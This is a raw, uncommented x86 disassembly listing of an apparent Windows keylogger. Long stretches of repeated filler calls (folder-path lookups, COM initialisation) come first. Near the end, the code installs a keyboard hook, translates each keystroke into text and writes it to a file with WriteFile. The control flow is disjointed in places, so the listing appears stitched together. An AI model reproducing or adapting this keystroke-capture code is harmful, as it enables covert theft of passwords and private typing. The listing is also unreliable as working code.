push ecx
push 1
push 0
push 2
push 0
mov dword [ebp - 0x268], esi
call edi
xor edx, edx
lea eax, [ebp - 0x268]
mov word [ebp - 0x70], dx
mov dword [ebp - 0x5c], 7
mov dword [ebp - 0x60], ebx
lea edx, [eax + 2]
jmp 0x404380
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x404380
sub eax, edx
sar eax, 1
push eax
lea eax, [ebp - 0x268]
push eax
lea ecx, [ebp - 0x70]
call fcn.00401a20
push 1
push 0x419fe0
lea ecx, [ebp - 0x70]
call fcn.00401900
cmp dword [ebp - 0x5c], 8
jb 0x4043c0
mov ecx, dword [ebp - 0x70]
push ecx
call fcn.0040577e
add esp, 4
mov edi, dword [0x462fc4]
mov ecx, dword [ebp + 8]
mov edx, dword [0x462fcc]
mov eax, dword [ebp + 8]
cmp edi, dword [0x462fc0]
jle 0x4043de
add eax, edx
jmp 0x4043e0
add eax, ecx
mov ebx, dword [0x462fd0]
lea esi, [edx + 1]
imul esi, ebx
add ecx, eax
cmp ecx, esi
mov ecx, dword [0x462fc0]
jne 0x404400
add edi, ecx
mov dword [0x462fc4], edi
mov eax, dword [0x462fd8]
lea edx, [edi + ecx]
cmp edx, eax
jle 0x404413
inc edi
mov dword [0x462fc4], edi
add ecx, edi
cmp ecx, eax
jle 0x404420
inc edi
mov dword [0x462fc4], edi
push 0xff
lea edx, [ebp - 0x267]
push 0
push edx
call fcn.00406400
mov ecx, dword [ebp + 8]
add ecx, dword [ebp + 8]
add esp, 0xc
mov dword [ebp - 0x268], ebx
cmp ecx, esi
jne 0x404452
add edi, dword [0x462fc0]
mov dword [0x462fc4], edi
mov ebx, dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea edx, [ebp - 0x504]
push edx
push 1
xor edi, edi
push edi
push 2
push edi
call ebx
xor eax, eax
mov word [ebp - 0x70], ax
mov esi, 7
lea eax, [ebp - 0x268]
mov dword [ebp - 0x5c], esi
mov dword [ebp - 0x60], edi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x404483
sub eax, edx
sar eax, 1
push eax
lea ecx, [ebp - 0x268]
push ecx
lea ecx, [ebp - 0x70]
call fcn.00401a20
push 1
push 0x419fe0
lea ecx, [ebp - 0x70]
call fcn.00401900
cmp dword [ebp - 0x5c], 8
jb 0x4044c3
mov edx, dword [ebp - 0x70]
push edx
call fcn.0040577e
add esp, 4
push edi
call dword [sym.imp.ole32.dll_CoInitialize]
mov dword [ebp - 8], edi
cmp dword [0x462fcc], edi
je 0x4044e0
lea eax, [ebp - 8]
push eax
push edi
call dword [sym.imp.ole32.dll_CreateBindCtx]
push 0xff
lea ecx, [ebp - 0x267]
push edi
push ecx
call fcn.00406400
mov edx, dword [0x462fd0]
add esp, 0xc
lea eax, [ebp - 0x504]
push eax
push 1
push edi
push 2
push edi
mov dword [ebp - 0x268], edx
call ebx
xor ecx, ecx
lea eax, [ebp - 0x268]
mov dword [ebp - 0x5c], esi
mov dword [ebp - 0x60], edi
mov word [ebp - 0x70], cx
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x404525
sub eax, edx
sar eax, 1
push eax
lea edx, [ebp - 0x268]
push edx
lea ecx, [ebp - 0x70]
call fcn.00401a20
push 1
push 0x419fe0
lea ecx, [ebp - 0x70]
call fcn.00401900
cmp dword [ebp - 0x5c], 8
jb 0x404565
mov eax, dword [ebp - 0x70]
push eax
call fcn.0040577e
add esp, 4
push edi
call dword [sym.imp.ole32.dll_CoInitialize]
mov dword [ebp - 8], edi
cmp dword [0x462fcc], edi
je 0x404582
lea ecx, [ebp - 8]
push ecx
push edi
call dword [sym.imp.ole32.dll_CreateBindCtx]
mov eax, dword [0x462fc4]
mov ecx, dword [0x462fc0]
mov edx, dword [0x462fd8]
lea esi, [eax + ecx]
cmp esi, edx
jle 0x4045a0
inc eax
mov dword [0x462fc4], eax
add ecx, eax
cmp ecx, edx
jle 0x4045ac
inc eax
mov dword [0x462fc4], eax
push 0xff
lea edx, [ebp - 0x267]
push edi
push edx
call fcn.00406400
mov eax, dword [0x462fd0]
add esp, 0xc
push edi
mov dword [ebp - 0x268], eax
call dword [sym.imp.ole32.dll_CoInitialize]
mov dword [ebp - 8], edi
cmp dword [0x462fcc], edi
je 0x4045e9
lea ecx, [ebp - 8]
push ecx
push edi
call dword [sym.imp.ole32.dll_CreateBindCtx]
lea edx, [ebp - 0x504]
push edx
push 1
push edi
push 2
push edi
call ebx
xor eax, eax
mov word [ebp - 0x70], ax
mov esi, 7
lea eax, [ebp - 0x268]
mov dword [ebp - 0x5c], esi
mov dword [ebp - 0x60], edi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x404612
sub eax, edx
sar eax, 1
push eax
lea ecx, [ebp - 0x268]
push ecx
lea ecx, [ebp - 0x70]
call fcn.00401a20
push 1
push 0x419fe0
lea ecx, [ebp - 0x70]
call fcn.00401900
cmp dword [ebp - 0x5c], 8
jb 0x404652
mov edx, dword [ebp - 0x70]
push edx
call fcn.0040577e
add esp, 4
push 0xff
lea eax, [ebp - 0x267]
push edi
push eax
call fcn.00406400
mov ecx, dword [0x462fd0]
add esp, 0xc
push edi
mov dword [ebp - 0x268], ecx
call dword [sym.imp.ole32.dll_CoInitialize]
mov dword [ebp - 8], edi
cmp dword [0x462fcc], edi
je 0x404690
lea edx, [ebp - 8]
push edx
push edi
call dword [sym.imp.ole32.dll_CreateBindCtx]
lea eax, [ebp - 0x504]
push eax
push 1
push edi
push 2
push edi
call ebx
xor ecx, ecx
lea eax, [ebp - 0x268]
mov dword [ebp - 0x5c], esi
mov dword [ebp - 0x60], edi
mov word [ebp - 0x70], cx
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x4046b4
sub eax, edx
sar eax, 1
push eax
lea edx, [ebp - 0x268]
push edx
lea ecx, [ebp - 0x70]
call fcn.00401a20
push 1
push 0x419fe0
lea ecx, [ebp - 0x70]
call fcn.00401900
cmp dword [ebp - 0x5c], 8
jb 0x4046f4
mov eax, dword [ebp - 0x70]
push eax
call fcn.0040577e
add esp, 4
mov ecx, dword [0x462fc0]
mov edx, dword [ebp + 8]
mov esi, dword [0x462fcc]
mov eax, dword [ebp + 8]
cmp dword [0x462fc4], ecx
jle 0x404712
add eax, esi
jmp 0x404714
add eax, edx
cmp cl, byte [0x462fd4]
jne 0x40471d
inc eax
inc esi
imul esi, dword [0x462fd0]
add edx, eax
cmp edx, esi
jne 0x404731
add dword [0x462fc4], ecx
mov esi, dword [sym.imp.ole32.dll_CoInitialize]
push edi
call esi
mov dword [ebp - 8], edi
cmp dword [0x462fcc], edi
je 0x404750
lea ecx, [ebp - 8]
push ecx
push edi
call dword [sym.imp.ole32.dll_CreateBindCtx]
push edi
call esi
mov dword [ebp - 8], edi
cmp dword [0x462fcc], edi
je 0x404769
lea edx, [ebp - 8]
push edx
push edi
call dword [sym.imp.ole32.dll_CreateBindCtx]
mov ecx, dword [0x462fc4]
add ecx, dword [0x462fc0]
cmp ecx, dword [0x462fd8]
jle 0x404783
inc dword [0x462fc4]
push 0xff
lea edx, [ebp - 0x267]
push edi
push edx
call fcn.00406400
mov eax, dword [0x462fd0]
add esp, 0xc
lea ecx, [ebp - 0x504]
push ecx
push 1
push edi
push 2
push edi
mov dword [ebp - 0x268], eax
call ebx
xor edx, edx
mov esi, 7
lea eax, [ebp - 0x268]
mov word [ebp - 0x70], dx
mov dword [ebp - 0x5c], esi
mov dword [ebp - 0x60], edi
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x4047d0
sub eax, edx
sar eax, 1
push eax
lea eax, [ebp - 0x268]
push eax
lea ecx, [ebp - 0x70]
call fcn.00401a20
push 1
push 0x419fe0
lea ecx, [ebp - 0x70]
call fcn.00401900
cmp dword [ebp - 0x5c], 8
jb 0x404810
mov ecx, dword [ebp - 0x70]
push ecx
call fcn.0040577e
add esp, 4
mov edx, dword [0x462fcc]
mov ecx, dword [ebp + 8]
add ecx, dword [ebp + 8]
mov eax, dword [0x462fc0]
inc edx
imul edx, dword [0x462fd0]
cmp ecx, edx
jne 0x404833
add dword [0x462fc4], eax
mov edx, dword [0x462fc4]
add edx, eax
cmp edx, dword [0x462fd8]
jle 0x404849
inc dword [0x462fc4]
push edi
call dword [sym.imp.ole32.dll_CoInitialize]
mov dword [ebp - 8], edi
cmp dword [0x462fcc], edi
je 0x404866
lea eax, [ebp - 8]
push eax
push edi
call dword [sym.imp.ole32.dll_CreateBindCtx]
mov edx, dword [0x462fc4]
add edx, dword [0x462fc0]
cmp edx, dword [0x462fd8]
jle 0x404880
inc dword [0x462fc4]
push 0xff
lea eax, [ebp - 0x267]
push edi
push eax
call fcn.00406400
mov ecx, dword [0x462fd0]
add esp, 0xc
lea edx, [ebp - 0x504]
push edx
push 1
push edi
push 2
push edi
mov dword [ebp - 0x268], ecx
call ebx
xor eax, eax
mov word [ebp - 0x70], ax
lea eax, [ebp - 0x268]
mov dword [ebp - 0x5c], esi
mov dword [ebp - 0x60], edi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x4048c5
sub eax, edx
sar eax, 1
push eax
lea ecx, [ebp - 0x268]
push ecx
lea ecx, [ebp - 0x70]
call fcn.00401a20
push 1
push 0x419fe0
lea ecx, [ebp - 0x70]
call fcn.00401900
cmp dword [ebp - 0x5c], 8
jb 0x404905
mov edx, dword [ebp - 0x70]
push edx
call fcn.0040577e
add esp, 4
push edi
call dword [sym.imp.ole32.dll_CoInitialize]
mov dword [ebp - 8], edi
cmp dword [0x462fcc], edi
je 0x404922
lea eax, [ebp - 8]
push eax
push edi
call dword [sym.imp.ole32.dll_CreateBindCtx]
mov ebx, dword [ebp - 0x30]
mov eax, dword [0x462fd4]
mov ecx, dword [0x462fc4]
mov edx, ebx
dec edx
je 0x405459
dec edx
je 0x405447
sub edx, 0xfe
je 0x405406
push ecx
mov ecx, dword [0x462fc0]
push ecx
push ebx
push eax
call dword [sym.imp.USER32.dll_DefWindowProcA]
push 0x90
lea edx, [ebp - 0x608]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x608]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
cmp ebx, edi
je 0x404990
mov ecx, dword [ebp + 8]
push edi
push ecx
lea edx, [ebp - 8]
push edx
push 2
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
mov esi, dword [sym.imp.USER32.dll_GetKeyState]
push 0x14
call esi
push 0x91
call esi
push 0x90
call esi
lea eax, [ebp - 0x268]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardState]
mov esi, dword [ebp - 0x14]
cmp esi, 8
je 0x404a63
cmp esi, 0xd
je 0x404a4d
cmp esi, 0x10
je 0x404a9b
push edi
lea ecx, [ebp - 0x18]
push ecx
lea edx, [ebp - 0x268]
push edx
push edi
mov edi, dword [sym.imp.USER32.dll_MapVirtualKeyA]
push esi
call edi
push eax
push esi
call dword [sym.imp.USER32.dll_ToAscii]
cmp eax, 1
jne 0x404a11
movsx eax, byte [ebp - 0x18]
push eax
lea ecx, [ebp - 0x74]
push 0x41a0d8
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
xor edi, edi
jmp 0x404a75
push 0x20
lea edx, [ebp - 0x150]
push edx
push 0
push esi
call edi
movzx eax, ax
shl eax, 0x10
push eax
call dword [sym.imp.USER32.dll_GetKeyNameTextA]
test eax, eax
jle 0x404a99
push 0x41a0cc
lea eax, [ebp - 0x74]
push eax
mov esi, 2
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x404a7b
lea ecx, [ebp - 0x74]
push 0x41a0c8
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
mov esi, eax
cmp esi, edi
jbe 0x404a9b
push edi
lea edx, [ebp - 8]
push edx
push esi
lea eax, [ebp - 0x74]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x404a9b
mov dword [ebp - 0x14], 0xffffffff
jmp 0x404a9b
mov esi, dword [ebp - 0x1c]
push esi
call dword [sym.imp.USER32.dll_IsIconic]
test eax, eax
je 0x404add
mov ecx, dword [0x462fc4]
mov edx, dword [0x462fc0]
push edi
push ecx
push edx
push esi
call dword [sym.imp.USER32.dll_SendMessageA]
mov edi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 0xb
call edi
push 0xc
call edi
lea eax, [ebp - 0x140]
push eax
push esi
call dword [sym.imp.USER32.dll_GetClientRect]
jmp 0x404ae4
mov dword [ebp - 0x14], 1
mov eax, dword [0x462fd4]
mov ecx, dword [ebp + 0x14]
xor edi, edi
push eax
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x18], edi
mov dword [ebp - 8], edi
mov dword [ebp - 0x48], eax
call dword [sym.imp.USER32.dll_GetDC]
mov ebx, eax
push ebx
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov esi, dword [ebp - 0x30]
add esi, 3
mov dword [ebp - 0x24], eax
test eax, eax
je 0x404b32
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x20]
sub eax, ecx
add eax, dword [ebp - 0x50]
add edx, ecx
add eax, dword [ebp + 0x14]
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x44], eax
jmp 0x404b3b
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0x1c]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x30]
add eax, 0xfffffff8
push eax
push eax
push ebx
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov edx, dword [ebp - 0x24]
add edx, 4
mov dword [ebp + 0x14], eax
je 0x404bcb
movzx ecx, byte [ecx + 4]
push edi
push ecx
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
push 0x40
lea edx, [ebp - 0xe8]
push edx
shl eax, 0x10
push eax
call dword [sym.imp.USER32.dll_GetKeyNameTextA]
mov ecx, dword [0x462fe0]
lea eax, [ebp - 0xe8]
push eax
push edi
push 0xc
push ecx
call dword [sym.imp.USER32.dll_SendMessageA]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
push edi
call dword [sym.imp.USER32.dll_PostQuitMessage]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
mov edx, dword [ebp + 8]
push edi
push edx
push 1
push eax
push 0x12
push 0x5f
push 0x1e
push 0xc8
push 0x50000801
push 0x41a00c
push str.edit
push edi
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov dword [0x462fdc], eax
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
mov eax, dword [ebp - 0x2c]
push 0x41a000
push eax
push esi
call dword [sym.imp.USER32.dll_SetDlgItemTextA]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret 0x10